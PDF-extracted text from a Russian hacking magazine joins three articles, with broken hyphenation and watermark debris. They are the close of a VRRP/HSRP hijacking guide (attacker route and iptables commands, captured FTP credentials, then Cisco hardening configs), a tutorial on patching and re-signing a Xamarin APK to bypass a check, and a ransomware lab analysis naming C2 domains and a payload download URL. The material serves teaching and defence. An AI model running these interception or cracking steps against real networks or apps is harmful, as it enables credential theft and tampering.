Маршру­ тиза­ торы­ R1 и R2 изменили­ свои роли. Теперь они признают­ хост с IP-адресом­ 10.1.1.2 как Master-роутер.

Затем­ нужно­ создать­ вторич­ ный­ IP-адрес на интерфейсе­ eth0 с указани­ ем­ виртуаль­ ного­ IP-адреса­ группы­ VRRP:

necreas1ng@Mercy:~$ sudo ifconfig eth0:1 10.1.1.254 netmask 255.255.

255.0

Далее­ удаляем­ все маршру­ ты­ на машине и создаем­ единствен­ ный­ через роутер R1:

necreas1ng@Mercy:~$

sudo del default gw

 

 

 

 

necreas1ng@Mercy:~$

sudo

route

del

-net 0.0.0.0

netmask

0.0.0.0

 

necreas1ng@Mercy:~$

sudo

route

add

-net

0.0.0.0

netmask

0.0.0.0

gw

10.1.1.100 eth0

 

 

 

 

 

 

 

 

И напоследок­ правило­ для SNAT:

necreas1ng@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j

MASQUERADE

После­ атаки­ я попробую­ подклю­ чить­ ся­ с машины под именем­ Radiant к FTPсерверу­ под именем­ Dustup.

Дамп перехвачен­ ного­ FTP-трафика­ при атаке­ на VRRP

В итоге­ получился­ тот же сценарий­ : мы видим абсолют­ но­ весь трафик­ , но в рамках­ данного­ кейса­ меня интересо­ вал­ только­ FTP-трафик­ . Перехвачен­ ные­ креды­ — betrayal:punish_you.

ПРЕВЕНТИВНЫЕ МЕРЫ Приоритет 255

Из соображений­ безопасности­ рекомендует­ ­ся на Masterили Active-маршру­ ­ тизаторе­ выставить­ максималь­ ­ный приори­ ­тет. В таком случае­ , если злоумыш­ ­ ленник отправит­ вредонос­ ­ный пакет с приори­ ­тетом 255, у него не выйдет­ стать «главным­ », посколь­ ­ку таковой уже имеется­ .

 

В этой статье я ориенти­

руюсь­

на принципы­

 

и команды­ Cisco IOS CLI.

 

 

Конфигура­ ция­ для HSRP, группа­ 1:

R1(config)# int g0/0

R1(config-if)# standby 1 priority 255

Конфигура­ ­ция для VRRP, группа­ 1:

R1(config)# int g0/0

R1(config-if)# vrrp 1 priority 254

Аутентификация

Если­ ты собрался­ защищать домен FHRP с помощью парольной­ аутентифика­ ­ ции, обязатель­ ­но позаботься­ о стойкос­ ­ти пароля, чтобы­ его не сбрутили­ . Как ты видел, хеш в открытом­ виде передается­ по сети, поэтому­ у злоумыш­ ­ ленника­ имеются­ шансы­ перебрать­ пароль.

Конфигура­ ция­ MD5-аутентифика­ ции­ для HSRP, группа­ 1:

R1(config-if)#standby 1 authentication md5 key-string

all_h3re_f0r_y0u

Конфигура­ ­ция MD5-аутентифика­ ­ции для VRRP, группа­ 1:

R1(config-if)#vrrp 1 authentication md5 key-string all_h3re_f0r_y0u

Кстати­ говоря, оборудо­ ­вание Cisco может похвастать­ ­ся наличием­ keychainаутентифика­ ­ции. В таком случае­ конфигури­ ­руют­ся два ключа­ и даже можно­ настро­ ­ить интервалы­ времени­ , когда­ будет принимать­ ­ся и отправлять­ ­ся ключ. Такой подход­ в значитель­ ­ной степени­ усложняет­ жизнь злоумыш­ ­ленни­ку, пос ­ кольку­ ему придет­ ­ся не только­ брутить­ пароль, но и угадывать­ последова­ ­ тельность­ ключей­ и подходящий­ для их передачи­ промежу­ ­ток времени­ .

Ниже­ я привожу­ пример­ конфигура­ ­ции keychain в отношении­ маршру­ ­тиза ­ тора R1 для HSRP, для VRRP она тоже подойдет­ . Такую же конфигура­ ­цию сле ­ дует настро­ ­ить на остальных­ маршру­ ­тиза­торах в рамках­ одного­ домена.

R1#conf t # Входим в режим глобальной конфигурации0

R1(config)# key chain SecureFHRP # Создаем keychain-цепочку под

названием SecureFHRP0

R1(config-keychain)# key 1 # Создаем первый ключ0

R1(config-keychain-key)# key-string gu1d1ng_

l1ght # Указываем пароль0

R1(config-keychain-key)# accept-lifetime 20:00:00 may 1 2022 20:00:

00 may 2

2022 # Указываем промежуток времени, в течение которого маршрутизатор будет принимать ключ от соседа0

R1(config-keychain-key)# send-lifetime 20:00:00 may 1 2022 20:00:00

may 2

2022 # Указываем промежуток времени, в течение которого маршрутизатор будет отправлять ключ соседу0

R1(config-keychain)# key

2 # Когда закончится действие первого ключа, автоматически будет использован второй ключ. Создаем второй ключ0

R1(config-keychain-key)# key-string l0g1c_b0mb # Указываем пароль0

R1(config-keychain-key)# accept-lifetime 20:00:00 may 2 2022 20:00:

00 may 3

2022 # Указываем промежуток времени, в течение которого маршрутизатор будет принимать ключ от соседа0

R1(config-keychain-key)# send-lifetime 20:00:00 may 2 2022 20:00:00

may 3

2022 # Указываем промежуток времени, в течение которого маршрутизатор будет отправлять ключ соседу0

R1(config)# interface GigabitEthernet 0/

1 # Входим в режим конфигурации интерфейса0

R1(config-if)# standby 1 authentication md5 key-chain SecureFHRP #

Включаем MD5-аутентификацию с использованием keychain для группы

HSRP 10

Ограничение трафика HSRP

HSRP использует­ протокол­ транспортно­ го­ уровня­ UDP для приема­ и переда ­ чи служеб­ ных­ объявле­ ний­ . С помощью настрой­ ки­ ACL (Access List Control) мы можем ограничить­ трафик­ UDP по портам­ источника­ и назначения­ 1985. Если злоумыш­ ленник­ будет проводить­ инъекцию­ HSRP-пакетов, эти пакеты будут отброшены­ механизмом­ ACL.

Пример­ конфигура­ ­ции расширен­ ­ного ACL для безопасности­ HSRPv1:

R1(config)# ip access-list extended DropHSRP # Создаем расширенный

ACL с названием DropHSRP0

R1(config-ext-nacl)# permit udp 10.0.0.0 0.0.0.3 eq 1985 host 224.0.

0.2 eq 1985 # Разрешаем UDP-трафик в отношении сети 10.1.1.0 по

обратной 30-битной маске, по портам 1985 и по мультикастовому

IP-адресу 224.0.0.20

R1(config-ext-nacl)# deny udp any eq 1985 any eq 1985 # Далее

запрещаем UDP-трафик по портам 19850

R1(config-ext-nacl)# permit ip any any # Разрешаем остальной трафик

по IP0

R1(config)# interface GigabitEthernet0/

0 # Входим в режим конфигурации интерфейса0

R1(config-if)# ip access-group DropHSRP in # Привязываем настроенный

ACL к интерфейсу на IN0

Расширен­ ный­ ACL для версии­ HSRPv2:

R1(config)# ip access-list extended DropHSRPv2 # Создаем расширенный

ACL с названием DropHSRP

R1(config-ext-nacl)# permit udp 10.0.0.0 0.0.0.3 eq 1985 host 224.0.

0.102 eq 1985 # Разрешаем UDP-трафик в отношении сети 10.1.1.0 по

обратной 30-битной маске, по портам 1985 и по мультикастовому

IP-адресу 224.0.0.2

R1(config-ext-nacl)# deny udp any eq 1985 any eq 1985 # Далее

запрещаем UDP-трафик по портам 1985

R1(config-ext-nacl)# permit ip any any # Разрешаем остальной трафик

по IP

R1(config)# interface GigabitEthernet0/0 # Входим в режим

конфигурации интерфейса

R1(config-if)# ip access-group DropHSRPv2 in # Привязываем

настроенный ACL к интерфейсу на IN

Во время­ настрой­ ки­ ACL используют­ ся­ обратные маски­ (Wild Card masks).

ЗАКЛЮЧЕНИЕ

Протоко­ лы­ класса­ FHRP помогают­ организо­ вать­ систему­ горячего­ резер ­ вирования­ шлюзов­ . Такие системы­ широко распростра­ нены­ в рамках­ рас ­ смотренно­ го­ нами кейса­ . Но теперь ты знаешь­ , что может произой­ ти­ с сетью, если инженер­ не позаботил­ ся­ о безопасности­ конфигура­ ции­ самих FHRPпротоко­ лов­ .

Кстати­ говоря, FHRP Hijacking может служить­ альтер­ ­нативой ARP-спуфин­ ­ гу. В сетях AD открывают­ ­ся все возможнос­ ­ти для Relay-атак и сбора­ информации­ , также­ можно­ реализовать­ фишинговые­ атаки­ и многое­ другое­ . Эта статья подска­ ­жет новые векторы­ атак для пентесте­ ­ров, а сетевые адми ­ нистра­ ­торы обзаведут­ ­ся новыми кейсами­ , чтобы­ повысить безопасность­ сво ­ ей сети.

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ИЗУЧАЕМ И ВЗЛАМЫВАЕМ МОБИЛЬНОЕ ПРИЛОЖЕНИЕ НА С#

Программи­

ровать­

 

для

Android можно­

не только­ на Java или Kotlin. Разработ­

чики­

на С# имеют­

возможность­

создавать­

мобильные­

приложе­

ния­

с помощью плат ­

формы Xamarin. Сегодня­ мы

поговорим­

о том, как исследовать­

такие приложе­

ния­

и как при необходимос­

ти­ их можно­ взло ­

мать.

 

 

 

 

 

 

 

Mazay stariy2003@yandex.ru

Попалось­ мне недавно­ в руки мобильное­ приложе­ ­ние для Android, которое работало­ не совсем­ так, как хотелось бы. Значит­ , нужно­ хорошенько­ покопаться­ в его потрошках­ !

Сказано­ — сделано­ : берем свежую­ версию­ GDA, открываем­ наш подопыт ­ ный APK и видим, что выглядит­ он как то уж слишком­ подозритель­ ­но. Классы­ всех activity содержат­ пример­ ­но одинако­ ­вый шаблонный­ код такого типа:

public class MainActivity extends BaseActivity

{

private ArrayList refList;

public static final String __md_methods;

static {

MainActivity.__md_methods = "n_onCreate:\(Landroid/os/

Bundle;\)V:GetOnCreate_Landroid_os_Bundle_Handler

.....

_ILandroid_os_Bundle_Handler:Android.Locations.

ILocationListenerInvoker, Mono.Android, Version=0.0.0.0,

Culture=neutral, PublicKeyToken=null\n";

Runtime.register("Megaprogram.Activity.MainActivity,

Megaprogram", MainActivity.class, MainActivity.__md_methods);

}

public void MainActivity(){

super();

if (this.getClass() == MainActivity.class) {

Object[] objArray = new Object[0];

TypeManager.Activate("Megaprogram.Activity.MainActivity,

Megaprogram", "", this, objArray);

}

return;

Это наводит на мысли­ , что нам попался­ неправиль­ ный­ APK. Возможно­ , какой то фреймворк­ ... Если поменять расширение­ .apk на .zip, то в глаза­ бросает­ ся­ необычная­ для обычных­ мобильных­ приложе­ ний­ папка­ assemblies, содержащая­ кучу DLL-библиотек­ .

Посколь­ ку­ многие­ библиоте­ ки­ содержат­ в названии­ слово­ Xamarin, ста ­ новится­ понятным­ , откуда­ взялось­ такое однообра­ зие­ , — основной код прог ­ раммы написан на С# и располага­ ется­ в библиоте­ ке­ DLL, а на Java написаны­ лишь шаблонные­ куски­ кода, предназна­ чен­ ные­ для связи­ между­ средой­ выполнения­ Mono и виртуаль­ ной­ машиной среды­ выполнения­ Android (ART).

Ну да ладно­ , в сторону­ теорию, пора браться­ за дело.

ВЫБИРАЕМ ИНСТРУМЕНТ

Для работы с .NET я использую­ три инстру­ ­мен­та.

1.dotPeek от JetBrains. Позволя­ ­ет декомпилиро­ ­вать и исследовать­ файлы­

.dll и .exe. У данного­ продук­ ­та самая, на мой взгляд, удобная­ навигация­ по декомпилиро­ ­ван­ному коду, так что, если говорить только­ об исследова­ ­ нии алгорит­ ­ма, этот инстру­ ­мент самый удобный­ .

 

 

 

 

 

 

 

 

 

 

Главное­ окно dotPeek

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

2. dnSpy — позволя­

ет­

декомпилиро­

вать­

, редактировать­

, компилиро­

вать­

 

 

 

 

 

 

 

 

и отлаживать­

сборки­

.NET. Следует­

отметить­ , что все функции­

, кроме­

 

декомпиляции­

, работают­ далеко не всегда­ , многое­ зависит от конкрет­

ной­

 

ситуации­

. В моем случае­

компиляция­

не заработала­

: софтина­

не смогла­

 

связать­

пространс­

тва­ имен Mono и Android.

 

 

 

 

 

 

Главное­ окно dnSpy

3.Simple-assembly-explorer — достаточ­ ­но старый­ , но от этого­ не утратив­ ­ший актуаль­ ­нос­ти софт. Позволя­ ­ет декомпилиро­ ­вать .dll и .exe в код на С#

или CIL (Common Intermediate Language — «высокоуров­ ­невый ассемблер­ »

виртуаль­ ­ной машины .NET. Промежу­ ­точ­ный язык, разработан­ ­ный фирмой­

Microsoft для платформы­ .NET Framework). Самая полезная­ воз ­

можность — этот инстру­ ­мент умеет­ компилиро­ ­вать код на CIL, что поз ­ воляет­ без особого­ труда­ вносить­ изменения­ в исследуемые­ файлы­ .

Главное­ окно Simple assembly explorer

Для распаков­ ки­ и запаковки­ APK я решил использовать­ 7z вместо­ стандар­ ­ тного­ для таких случаев­ apktool. Ниже я объясню­ почему.

РАЗБИРАЕМ APK

Сначала­ я попытался­ использовать­ для распаков­ ­ки APK известную­ программу­ apktool, но при запаковке­ возникла­ проблема­ из за того, что apktool «не зна ­ ет» такой тип файлов­ , как .dll, не считает­ его стандар­ ­тным для APK. Стан ­ дартны­ ­ми считают­ ­ся только­ файлы­ с именами­ из следующе­ ­го массива­ :

private final static String[] APK_STANDARD_ALL_FILENAMES = new String

[] {

"classes.dex", "AndroidManifest.xml", "resources.arsc", "res", "lib",

"libs", "assets", "META-INF" };.

При сборке­ APK все неизвес­ тные­ файлы­ сжимают­ ся­ (тип сжатия­ DEFLATED),

а Xamarin надеется­

увидеть­

свои DLL несжатыми­

(STORED) и от разочарова­

­

ния не может нормаль­

но­ прочитать­

их. Сначала­

возникла­

мысль исправить­

и пересобрать­

apktool, но потом я решил поступить­

проще­ : распаковы­

­вать

и запаковывать­

файлы­ обычным­

архивато­

­ром, без сжатия­ . Ведь декодирова­

­

ние манифеста­ или получение­

smali-кода мне в данной­

задаче не требует­

­ся,

а зачем тогда­ усложнять себе жизнь без необходимос­

ти­

?

 

 

 

 

Итак, распаковы­ ваем­ :

7z.exe x program.apk -oprogram_apk

После­ распаков­ ки­ , помимо привыч­ ных­ для APK файлов­ , получаем­ каталог assemblies с кучей dll. Из них нас интересу­ ет­ одна библиоте­ ка­ , имя которой совпада­ ет­ с именем­ приложе­ ния­ . Ее то мы и будем потрошить­ .

ПАТЧИМ .NET

Анализ­ DLL и поиск места­ для внесения­ правок­ выходит за рамки­ сегод ­ няшней статьи, так как мыслям­ на эту тему будет тесно­ даже в книге­ . Останов­ ­

люсь лишь на техничес­

­ких моментах­ . Как я писал выше, dnSpy отказал­ ­ся ком ­

пилировать­

исправленную­

библиоте­

­ку, поэтому­

пришлось­

прибег­ ­нуть

к помощи Simple-assembly-explorer (SAE).

 

 

 

 

 

 

 

 

 

 

 

Допус­ ­тим, нам необходимо­

, чтобы­

данная­

функция­

всегда­ возвра­ щала­

true:

 

 

 

 

 

 

 

 

 

 

protected bool IsOnline()

{

ConnectivityManager connectivityManager = (ConnectivityManager)

this.GetSystemService#0x0a0001d5("connectivity");

if (connectivityManager == null)

{

return false;

}

NetworkInfo activeNetworkInfo = connectivityManager.

get_ActiveNetworkInfo#0x0a0002ad();

return activeNetworkInfo != null && activeNetworkInfo.

get_IsConnected#0x0a0002ae();

}

Посколь­ ­ку правки­ можно­ вносить­ только­ в IL-код, в окне SAE переключа­ ­емся на вкладку­ Details, где наблюда­ ­ем такую картину­ :

0

L_0000:

ldarg.00

 

 

 

 

 

 

1

L_0001:

ldstr

 

"connectivity"0

 

 

2

L_0006:

callvirt

 

Java.Lang.Object Android.Content.

 

Context::GetSystemService(System.String)0

 

 

 

 

3

L_000b:

castclass

Android.Net.ConnectivityManager0

 

4

L_0010:

stloc.00

 

 

 

 

 

 

5

L_0011:

ldloc.00

 

 

 

 

 

 

6

L_0012:

brtrue.s

 

9 -> ldloc.00

 

 

7

L_0014:

ldc.i4.00

 

 

 

 

 

8

L_0015:

ret0

 

 

 

 

 

 

9

L_0016:

ldloc.00

 

 

 

 

 

 

10

L_0017:

callvirt

 

Android.Net.NetworkInfo Android.

 

Net.ConnectivityManager::get_ActiveNetworkInfo()0

 

 

11

L_001c:

stloc.10

 

 

 

 

 

 

12

L_001d:

ldloc.10

 

 

 

 

 

 

13

L_001e:

brfalse.s

17 -> ldc.i4.00

 

 

14

L_0020:

ldloc.10

 

 

 

 

 

 

15

L_0021:

callvirt

 

System.Boolean Android.Net.

 

NetworkInfo::get_IsConnected()0

 

 

 

 

 

16

L_0026:

ret0

 

 

 

 

 

 

17

L_0027:

ldc.i4.00

 

 

 

 

 

18

L_0028:

ret0

 

 

 

 

 

Тут есть два пути.

 

 

 

 

 

 

 

1. Подой­

­ти к делу

основатель­

но­ ,

фундамен­

таль­

но­ , изучить­

язык CIL

и написать необходимый­ код самостоятель­ ­но.

2.Написать­ нужную­ функцию­ на C# и скомпилиро­ ­вать в CIL, получив тем самым нужный­ код автомати­ ­чес­ки.

Явыбрал­ второй­ вариант­ — это гораздо­ быстрее­ . Более того, немножко­ погуглив­ , можно­ обнаружить­ очень полезный­ сайт sharplab.io, на котором весьма­ удобно­ конверти­ ­ровать код из C# в CIL.

Итак, вводим­ в левой вкладке­ следующее­ :

bool function() {

return true;

}

и справа­ среди­ кучи лишнего­ получаем­ :

IL_0000: nop0

IL_0001: ldc.i4.10

IL_0002: stloc.0

IL_0003: br.s IL_00050

IL_0005: ldloc.0

IL_0006: ret0

Вставляем­ полученный­ код в библиоте­ ку­ с помощью Simple assembly explorer, не забывая при этом сохранить­ изменен­ ную­ DLL. Если мы ничего не напутали­ и нигде­ не ошиблись­ , то пора собирать новый APK.

СОБИРАЕМ APK ОБРАТНО

Для сборки­ , как я уже писал выше, будем использовать­ 7z в режиме без сжа ­ тия. Полученный­ таким образом­ APK будет большего­ размера­ , чем исходный, ну да размер­ не главное­ :

7z.exe a -tzip -mx0 -r0 program_patched_unalign_unsigned.apk .\

program_apk\*.*

Неболь­ шое­ пояснение­ : -tzip — формат­ архива­ , -mx0 — отсутствие­ сжатия­ , - r0 — рекурсивный­ обход всех подкатало­ гов­ .

Да, перед сборкой­ лучше­ удалить­ каталог META-INF, содержащий­ старую­ подпись­ . Он не нужен, ведь нам придет­ ся­ подписывать­ APK самостоятель­ но­ . Затем нужно­ создать­ сертификат­ для подписи­ и поместить­ его в хранили­ ще­ . Если у тебя уже есть сертификат­ , то этот шаг можно­ пропус­ тить­ . Создаем­ сертификат­ с помощью утилиты­ keytool из состава­ JDK:

"c:\Android\Android Studio\jre\bin\keytool.exe" -genkey -v -keystore

keys.keystore -alias key -keyalg RSA -keysize 2048 -validity 10000

Она задаст стандар­ тные­ вопросы­ :

0

Enter keystore password:0 Re-enter new password:0

What is your first and last name?0 [Unknown]: x0

What is the name of your organizational unit?0 [Unknown]: x0

What is the name of your organization?0 [Unknown]: x0

What is the name of your City or Locality?0 [Unknown]: x0

What is the name of your State or Province?0 [Unknown]: x0

What is the two-letter country code for this unit?0 [Unknown]: x0

Is CN=x, OU=x, O=x, L=x, ST=x, C=x correct?0 [no]: yes

0

Generating 2 048 bit RSA key pair and self-signed certificate (SHA256withRSA) wi0

th a validity of 10 000 days0

for: CN=x, OU=x, O=x, L=x, ST=x, C=x0 [Storing keys.keystore]

0

Ну и после­ этого­ можно­ переходить­ к подписыва­ нию­ :

jarsigner.exe -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore

keys.keystore -signedjar program_pathed_unalign.apk

program_pathed_unalign_unsigned.apk key

В результате­ будет создан­ почти­ готовый к установ­ ке­ файл program_pathed_unalign.apk. «Почти­ » — потому что перед использовани­ ем­ его следует­ выровнять­ программой­ zipalign из состава­ build-tools SDK Android. Данная­ процеду­ ра­ гарантиру­ ет­ , что все несжатые­ файлы­ в архиве­ выровнены­ относитель­ но­ начала файла­ . Это позволя­ ет­ получить доступ­ к файлам­ нап ­ рямую, без необходимос­ ти­ копирования­ данных­ в ОЗУ, что уменьшит­ исполь ­ зование памяти твоим­ приложе­ нием­ .

Итак, ровняем­ :

zipalign.exe -v 4 program_pathed_unalign.apk program_pathed.apk

После­ этого­ можно­ смело­ устанав­ ливать­ программу­ на телефон или эмулятор­ и приступать­ к ее тестирова­ нию­ .

ВЫВОДЫ

Как видишь, Xamarin’овские сборки­ ничуть не сложнее­ для анализа­ , чем род ­ ные приложе­ ния­ ОС Android, надо лишь учесть некоторые­ тонкости­ при сбор ­

ке APK.

Вот несколь­ ­ко полезных­ ссылок­ , которые помогут тебе в работе с подобными­ приложе­ ­ниями:

GDA

dotPeek

dnSpy

SAE

SDK Platform Tools

Sharplab

Zipalign

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

 

.

 

 

c

 

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

 

-x

 

 

g

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

rayhunt454 grigadan454@gmail.com

УРОКИ ФОРЕНЗИКИ

В этой статье мы исследуем­ вредонос­ ный­ файл на примере­ лаборатор­ ной­ работы Ransomed с ресурса­ CyberDefenders. Мы научимся­ вручную­ распаковы­ вать­ код, определим­ тех ­ нику внедрения­ вредонос­ ной­ программы­ в процесс­ и отве ­ тим на ряд вопросов­ .

Нам предложен­ такой сценарий­ : организа­ цию­ взломали­ , команда­ SOC обна ­ ружила­ загружен­ ный­ исполняемый­ файл. Наша задача — исследовать­ его и разработать­ индикато­ ры­ компро­ мета­ ции­ для последу­ юще­ го­ детектирова­ ­ ния.

Иссле­ дова­ ние­ вредонос­ ного­ файла­ необходимо­ проводить­ в изолиро­ ван­ ной­ среде­ . Как создать­ лабораторию­ для анализа­ вредоно­ сов­ , подробно­ расска­ зано­ в статье «Код под надзором­ . Создаем­ виртуаль­ ную­ лабораторию­ для анализа­ малвари­ ».

Итак, загружа­ ем­ вредонос­ и начинаем­ его исследовать­ . По результатам­ решения кейса­ необходимо­ ответить­ на несколь­ ко­ вопросов­ , но я покажу, только­ как его решать, и не буду приводить­ ответы­ . Лучше­ повтори­ весь про ­ цесс самостоятель­ но­ , чтобы­ разобрать­ ся­ и закрепить­ материал­ .

ИНСТРУМЕНТАРИЙ

Для исследова­ ­ния вредонос­ ­ного файла­ восполь­ ­зуем­ся следующим­ софтом­ .

1.DIE — программа­ для определе­ ­ния типов файлов­ .

2.PeStudio — программа­ для поиска­ артефак­ ­тов исполняемых­ файлов­ .

3.IDA Pro — интерак­ ­тивный дизассем­ ­блер, используемый­ для реверс инжи ­ ниринга­ .

4.Wireshark — инстру­ ­мент для анализа­ сетевого­ трафика­ .

5. Burp Suite — использует­ ся­ в качестве­

прозрачно­

го­ прокси­ сервера­

 

 

 

 

 

 

 

 

 

с целью анализа­

взаимо­ дей­ ствия­

вредонос­

ного­

файла­ по протоко­

лу­

 

HTTPS.

 

 

 

 

 

 

 

6.Loki Scanner — сканер­ IOCs.

7.YaraEditor — программа­ для тестирова­ ­ния и создания­ правил­ YARA.

8.ApiLoger — утилита­ для анализа­ вызываемых­ WinAPI-функций­ исследуемо­ ­ го вредоно­ ­са.

9.x64dbg — отладчик с открытым­ исходным кодом для Windows, предназна­ ­ ченный­ для анализа­ вредонос­ ­ных программ­ .

Анализи­ ровать­ вредонос­ ный­ модуль мы будем в четыре этапа­ :

1.Статичес­ кий­ анализ­ .

2.Поведен­ ческий­ анализ­ .

3.Динами­ чес­ кий­ анализ­ .

4.Создание­ индикато­ ров­ компро­ мета­ ции­ .

СТАТИЧЕСКИЙ АНАЛИЗ

В первую­ очередь­ получим MD5-хеш сумму­ исполняемо­ го­ файла­ и проверим­

ее на VirusTotal. По MD5 a2f33095ef25b4d5b061eb53a7fe6548 VirusTotal выда ­

ет нам первичную­ информацию­ об исполня­ емом­ файле­ .

Далее­ скормим­ исследуемый­ файл утилите­ DIE и выясним­ , какой ком ­ пилятор и компонов­ щик­ использовал­ ся­ при создании­ вредоно­ са­ , а также­ определим­ , упакован­ он или нет.

Информа­ ция­ о компилято­ ре­ и компонов­ щике­

Итак, мы узнали­ , что вредонос­ ­ный модуль разработан­ на C/C++ и собран­ для 32-разрядных­ операци­ ­онных систем­ . DIE определя­ ­ет упаков­ ­щик с помощью загружен­ ­ных сигнатур­ , но идентифици­ ­ровать ручной­ упаков­ ­щик не позволя­ ­ет. Для этого­ необходимо­ посмотреть­ энтропию­ файла­ по сек ­ циям.

Что такое энтропия­ исполняемо­ го­ файла­ , расска­ ­ зано в статье «Энтро­ пия­ . Как хаос помогает­ искать вирусы».

Информа­ ция­ об энтропии­ исполняемо­ го­ файла­

Значение­ энтропии­ 7,677, значит­ , файл упакован­ . Из рисунка­ выше видно­ , что исследуемый­ файл имеет­ четыре секции­ , энтропия­ секции­ .text равна­ 7,844.

Загрузим­ файл в утилиту­ PeStudio, чтобы­ найти­ всевоз­ ­можные артефак­ ­ты. Нам интерес­ ­ны времен­ ­ные метки­ компиляции­ файла­ , загружа­ ­емые библиоте­ ­ ки, используемые­ ресурсы­ , информация­ о версии­ исполняемо­ ­го файла­ , характерные­ строки­ , а также­ отладоч­ ­ная информация­ и файл сборки­ (Manifest). Все это пригодит­ ­ся нам при создании­ файловой­ сигнатуры­ .

Отладоч­ ная­ информация­

Строка­ C:\moz\vidaj.pdb нам интерес­ ­на для создания­ правила­ детек ­ тирования­ . На данном­ этапе­ мы выяснили­ , что исполняемый­ файл упакован­ , и получили­ характерные­ строки­ .

Прежде­ чем приступить­ к динамичес­ ­кому анализу­ , изучим­ поведение­ вре ­ доносного­ модуля. На этом этапе­ выявим сетевое взаимо­ ­дей­ствие с управля ­ ющим сервером­ , а также­ используемые­ функции­ Windows API.

Запус­ тим­ утилиту­ INetSim в виртуаль­ ной­ машине Kali Linux. Также­ запус ­ тим Burp Suite для анализа­ взаимо­ дей­ ствия­ по HTTPS и будем слушать­ сетевой трафик­ взаимо­ дей­ ствия­ , используя­ Wireshark.

Запус­ ­тим Api Loger, выберем исполняемый­ файл chalenge.exe и начнем­ писать логи.

Вызыва­ емые­ Windows API функции­

Исполня­ ­емый файл использует­ функцию­ IsDebbugerPresent с целью анти ­ отладки. Далее запущенный­ процесс­ считыва­ ­ется с помощью функции­

ReadProcessMemory, функция­ VirtualAllocEx выделяет­ память и данные­ записывают­ ­ся в буфер в адресное пространс­ ­тво процес­ ­са WriteProcessMemory. Этот механизм похож на технику­ внедрения­ в процесс­

ProcessHollowing.

Теперь­ давай посмотрим­ на сетевой трафик­ .

Сетевое­ взаимо­ дей­ ствие­ вредонос­ ного­ модуля

Как видно­ из рисунка­ выше, исполняемый­ файл взаимо­ дей­ ству­ ет­ со сле ­

дующими­ доменами­ : api.2ip.ua, kotob.top, tzgl.org.

В Burp Suite видно­ взаимо­ ­дей­ствие по протоко­ ­лу HTTPS.

Запрос­ к api.2ip.ua

Запрос­ к tzgl.org

Для определе­ ния­ IP-адреса­ исполняемый­ файл делает­ запрос­ к https:// api.2ip.ua, а далее загружа­ ет­ с ресурса­ https://tzgl.org/files/1/

исполняемый­ файл build3.exe.

Как мы помним­ , в INetSim есть файлы­ заглушки­ . После­ запроса­ к tzgl.org загружен­ ­ный файл build3.exe запускает­ ­ся.

 

 

Запуск­

загружен­

ного­

файла­ build3.exe

 

 

 

 

 

 

 

 

 

 

 

 

Посколь­

ку­ мы собрали­

лабораторию­

для анализа­

вредонос­

ных­

файлов­ ,

в нашем случае­

загружа­

ется­

файл заглушка­

утилиты­

INetSim. Также­ обна ­

ружен HTTP-запрос­ к ресурсу­ tzgk.org.

 

 

 

 

 

 

 

HTTP-запрос­ к домену tzgk.org

Исполь­ зуя­ утилиту­ Process Hacker 2, рассмот­ рим­ поведение­ запущенного­ файла­ .

Дочер­ ние­ процес­ сы­ исполняемо­ го­ файла­ challenge.exe

